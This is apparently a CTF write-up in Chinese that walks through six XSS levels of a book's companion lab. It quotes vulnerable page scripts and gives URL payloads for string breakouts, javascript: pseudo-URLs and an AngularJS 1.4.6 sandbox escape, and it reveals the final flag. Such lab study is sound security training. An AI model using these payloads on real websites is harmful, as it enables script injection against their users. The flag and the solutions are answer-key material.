《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]XSS闯关

导读:本篇文章讲解 《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]XSS闯关,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com

[第二章 web进阶]XSS闯关


介绍:记录一下笔记,方便以后迅速回忆使用。

《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》

在这里插入图片描述

  • 小技巧:
    如果想跳到直接坐后面的关卡,换数字就可以了,
    比如,
http://3b900675-201c-4b11-bc65-6d943150ccdd.node3.buuoj.cn/level1
换成
http://3b900675-201c-4b11-bc65-6d943150ccdd.node3.buuoj.cn/level6
就可以跳过前面的关卡直接开始做第6关,

第1关

  • 1.首页
    在这里插入图片描述

  • 这题比较简单就直接破解

  • payload

../level1?username=<script>alert("Hello xss!")</script>

在这里插入图片描述

第2关

  • 题目源码,输入的东西被单引号括住了
<script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = '<scr<script>ipt>alert("Hello xss!")</scr<script>ipt>';
    	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
    </script>

-我们希望变成这个样子

var username = '';alert("Hello%20xss!")//';
  • payload:
../level2?username=%27;alert("Hello%20xss!");//
  • 进入下一关

第3关

  • 输入上一关的payload

  • 题目源码,这次过滤了单引号

 <script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = '\';alert("Hello xss!");//';
    	document.getElementById('ccc').innerHTML= "Welcome " + username;
    </script>

-那我就输两个单引号,然后就成功了…这就只针对一个单引号…

  • payload:
../level3?username=%27%27;alert("Hello%20xss!");//

第4关

  • 这关页面每10秒就进行一次重定向
    在这里插入图片描述

  • 题目源码,通过审计源码寻找解决方法,注入方法,

<script type="text/javascript">
    	var time = 10;
    	var jumpUrl;
    	if(getQueryVariable('jumpUrl') == false){
    		jumpUrl = location.href;
    	}else{
    		jumpUrl = getQueryVariable('jumpUrl');
    	}
    	setTimeout(jump,1000,time);
    	function jump(time){
    		if(time == 0){
    			location.href = jumpUrl;
    		}else{
    			time = time - 1 ;
    			document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
    			setTimeout(jump,1000,time);
    		}
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>
  • 通过这样的方式来实现注入
../level4?payload
  • 伪链接
 javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
  • 代码中接收jumpUrl作为跳转url,所以,
  • payloas
../level4?jumpUrl=javascript:alert(1)
  • 等待10秒后即可完成破解

第5关

在这里插入图片描述

  • 题目源码,
 <script type="text/javascript">
    	if(getQueryVariable('autosubmit') !== false){
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>
  • 源码中有条件限制
  • 限制1
if(getQueryVariable('autosubmit') !== false){
	......
}
  • 解决限制1,给autosubm传个值
autosubmit=1
  • 限制2
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
  • 解决限制2,同样是传值,只不过是传我们的注入语句
  • 完整payload
../level5?autosubmit=1&action=javascript:alert(1)

第6关

  • 这题过滤应该就在后端做,前端就看不到什么了,
    在这里插入图片描述– 问题就出在JavaScript框架AngularJS,原因是后端语言flask的jinja2使用不当,存在模板注入。
输入{{3*3}}输出9

在这里插入图片描述

  • 因为我们的AngularJS版本是1.4.6,这个版本的Angular的沙箱逃逸的方法:
    AngularJS Sandbox Bypasses

  • 逃逸的办法:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
  • payload
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

这道题目参考了《从0到1:CTFer成长之路》 配套题目Web WP

结束

  • 历经千辛万苦终于得到flag,唉~~
    在这里插入图片描述
you win!
here is your flag : n1book{xss_is_so_interesting}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92730.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!